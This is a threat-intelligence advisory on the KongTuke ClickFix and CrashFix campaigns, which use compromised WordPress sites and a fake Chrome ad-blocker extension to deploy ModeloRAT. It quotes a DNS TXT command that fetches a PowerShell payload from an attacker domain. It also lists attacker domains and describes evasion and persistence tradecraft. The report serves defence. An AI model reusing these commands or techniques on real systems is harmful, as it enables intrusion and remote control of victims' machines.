# KongTuke ClickFix Campaign — ModeloRAT Deployment via Compromised WordPress Sites and CrashFix Browser Extension

> Active malware campaign by threat actor KongTuke (TAG-124/LandUpdate808) leveraging compromised WordPress sites with fake CAPTCHA ClickFix lures and a malicious Chrome extension dubbed CrashFix to deploy ModeloRAT, a Python-based remote access trojan targeting enterprise environments. The campaign abuses finger.exe as a LOLBin for payload retrieval, employs DGA-generated .top domains, and uses RC4-encrypted C2 beaconing over HTTP port 80.

- **Published:** 2026-03-10T12:00:00Z
- **Last reviewed:** 2026-03-10T12:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0208
- **ID:** TL-2026-0208
- **Severity:** HIGH (CVSS 7.5)
- **Category:** MALWARE
- **Status:** ACTIVE
- **Actor:** KongTuke
- **Detections:** 9 · **IOCs:** 29 (full data via the Threadlinqs MCP server — Purple tier)

## Description

KongTuke operates a multi-layered traffic distribution system (TDS) infrastructure comprising hundreds of compromised WordPress websites that serve as initial access vectors. The campaign employs two parallel delivery mechanisms: the original ClickFix technique, which injects malicious JavaScript into WordPress sites to present fake CAPTCHA verification pages, and the newer CrashFix variant, which uses a typosquatted Chrome extension called NexShield (masquerading as uBlock Origin Lite) to intentionally crash browsers and present fake security warnings.

In the ClickFix chain, compromised WordPress sites load external JavaScript from attacker-controlled domains (ainttby.com, ctpsih.com, foodgefy.com). The script queries Cloudflare trace endpoints for browser/OS fingerprinting, then dynamically injects a fake CAPTCHA overlay via document.write(). When victims interact with the verification prompt, a PowerShell command is silently copied to their clipboard and they are instructed to paste it into the Windows Run dialog.

In the CrashFix chain, the malicious NexShield extension (Chrome Web Store ID: cpcdkmjddocikjdkbbeiaafnpdbdafmi) implements a 60-minute delayed execution via Chrome Alarms API, then triggers a denial-of-service loop creating one billion chrome.runtime port connections to exhaust browser resources. After the crash, a fake security warning window (400x600px) appears, directing users to execute a command from the Windows Run dialog.

Both chains converge on the same PowerShell execution technique: finger.exe is copied to %TEMP%\ct.exe and used to retrieve ROT-cipher obfuscated PowerShell code from attacker infrastructure. The deobfuscated script performs extensive anti-analysis checks, scanning for 50+ security tools (Wireshark, Procmon, Process Hacker, x64dbg, OllyDbg, IDA, Ghidra, Fiddler, Sysmon) and virtual machine indicators (VMware, VirtualBox, QEMU, Parallels). A numeric fingerprinting system scores the environment to determine legitimacy.

Domain-joined systems receive ModeloRAT — a Python-based RAT delivered via portable WPy64-31401 Python distribution downloaded from Dropbox. ModeloRAT establishes persistence through Registry Run keys (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) using legitimate software names (Spotify47, Adobe2841) and scheduled tasks (SoftwareProtection, every 5 minutes). C2 communication uses RC4 encryption with random 16-byte keys, zlib compression, and HTTP POST beaconing to port 80 with configurable intervals (300s standard, 150ms active, 900s backoff). The RAT supports arbitrary command execution, file upload/download, process execution, registry operations, self-updating, and system shutdown.

Non-domain-joined systems receive a GateKeeper .NET payload with additional obfuscation layers (AES-256-CBC with PBKDF2, XOR cipher) and a domain generation algorithm producing weekly-seeded .top domains. These systems currently receive a test payload, suggesting the non-enterprise chain is still under development.

The campaign demonstrates operational sophistication with daily domain registration, weekly DGA seed rotation, AMSI bypass via memory patching of AmsiScanBuffer, and deliberate targeting of enterprise environments over home users.

---

**Revalidated on 2026-03-12**

POST-PUBLICATION INTELLIGENCE UPDATE (2026-03-12): Three developments expand the threat picture since publication. First, Unit 42 documented a DNS TXT record staging variant (active since late December 2025) in which KongTuke embeds PowerShell payloads in DNS TXT records of attacker-controlled .top domains. The injected ClickFix command uses 'Resolve-DnsName -Type TXT payload.bruemald.top -Server 8.8.8.8' instead of the finger.exe LOLBin or mshta techniques, adding a third parallel delivery sub-chain that evades web proxy inspection entirely. This should be documented as an additional initial access path alongside ClickFix and CrashFix. Second, a February 2, 2026 incident captured by Malware-Traffic-Analysis.net shows KongTuke ClickFix activity delivering AsyncRAT rather than ModeloRAT, using compromised site oceanbistrooumc.com with redirect through soulversr.com/js.php. This demonstrates the TAG-124 TDS's payload flexibility — the infrastructure serves different RATs based on operator selection or victim profiling, meaning ModeloRAT is one of several possible payloads, not the exclusive one. Third, Rapid7's concurrent March 10, 2026 report documents 250+ compromised WordPress sites in 12 countries delivering four distinct infostealers (Vidar Stealer, Impure Stealer, Vodka Stealer, Double Donut) via the same ClickFix fake-CAPTCHA pattern. While not explicitly attributed to KongTuke, the shared TDS infrastructure and WordPress injection methodology strongly suggest TAG-124 ecosystem overlap, indicating the campaign's scale exceeds what was originally documented. The Rapid7 research noted compromised sites included news outlets and a US Senate candidate's website, highlighting indiscriminate targeting. All original IOCs, MITRE mappings, and detections remain valid.

## MITRE ATT&CK

- T1189 Drive-by Compromise
- T1199 Trusted Relationship
- T1059 Command and Scripting Interpreter
- T1204 User Execution
- T1547 Boot or Logon Autostart Execution
- T1053 Scheduled Task/Job
- T1176 Software Extensions
- T1027 Obfuscated Files or Information
- T1140 Deobfuscate/Decode Files or Information
- T1036 Masquerading
- T1685 Disable or Modify Tools
- T1202 Indirect Command Execution
- T1497 Virtualization/Sandbox Evasion
- T1082 System Information Discovery
- T1057 Process Discovery
- T1518 Software Discovery
- T1016 System Network Configuration Discovery
- T1482 Domain Trust Discovery
- T1005 Data from Local System
- T1071 Application Layer Protocol
- T1568 Dynamic Resolution
- T1105 Ingress Tool Transfer
- T1102 Web Service
- T1573 Encrypted Channel
- T1041 Exfiltration Over C2 Channel
- T1584 Compromise Infrastructure
- T1608 Stage Capabilities

## Sources

- [Trend Micro — KongTuke ClickFix Abuse of Compromised WordPress Sites (MDR Analysis)](https://www.trendmicro.com/en_us/research/26/c/kongtuke-clickfix-abuse-of-compromised-wordpress-sites.html)
- [Huntress — Dissecting CrashFix: KongTuke's New Toy](https://www.huntress.com/blog/malicious-browser-extention-crashfix-kongtuke)
- [The Hacker News — CrashFix Chrome Extension Delivers ModeloRAT Using ClickFix-Style Browser Crash Lures](https://thehackernews.com/2026/01/crashfix-chrome-extension-delivers.html)
- [Microsoft Security Blog — New ClickFix Variant CrashFix Deploying Python RAT](https://www.microsoft.com/en-us/security/blog/2026/02/05/clickfix-variant-crashfix-deploying-python-rat-trojan/)
- [Hackread — ClickFix to CrashFix: KongTuke Used Fake Chrome Ad Blocker to Install ModeloRAT](https://hackread.com/clickfix-crashfix-kongtuke-fake-chrome-ad-blocker-modelorat/)
- [Recorded Future — TAG-124 Multi-Layered TDS Infrastructure and Extensive User Base](https://www.recordedfuture.com/research/tag-124-multi-layered-tds-infrastructure-extensive-user-base)
- [Proofpoint — ClickFix Social Engineering Technique Overview](https://www.proofpoint.com/us/blog/threat-insight/clickfix-social-engineering)
- [Microsoft Security Blog — Think Before You ClickFix: Analyzing the ClickFix Social Engineering Technique](https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/)
- [CyberNews — KongTuke CrashFix Campaign Uses Fake Chrome Adblocker to Deploy ModeloRAT](https://cybernews.com/cybercrime/kongtukes-crashfix-campaign-uses-fake-chrome-adblocker-to-deploy-modelorat/)
- [Splunk — Beyond The Click: Unveiling Fake CAPTCHA Campaigns](https://www.splunk.com/en_us/blog/security/unveiling-fake-captcha-clickfix-attacks.html)
- [EnigmaSoft — ModeloRAT Removal Guide](https://www.enigmasoftware.com/modelorat-removal/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0208